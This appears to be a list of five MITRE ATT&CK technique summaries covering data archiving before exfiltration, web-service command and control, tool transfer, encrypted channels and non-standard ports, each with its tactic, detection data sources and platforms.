Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre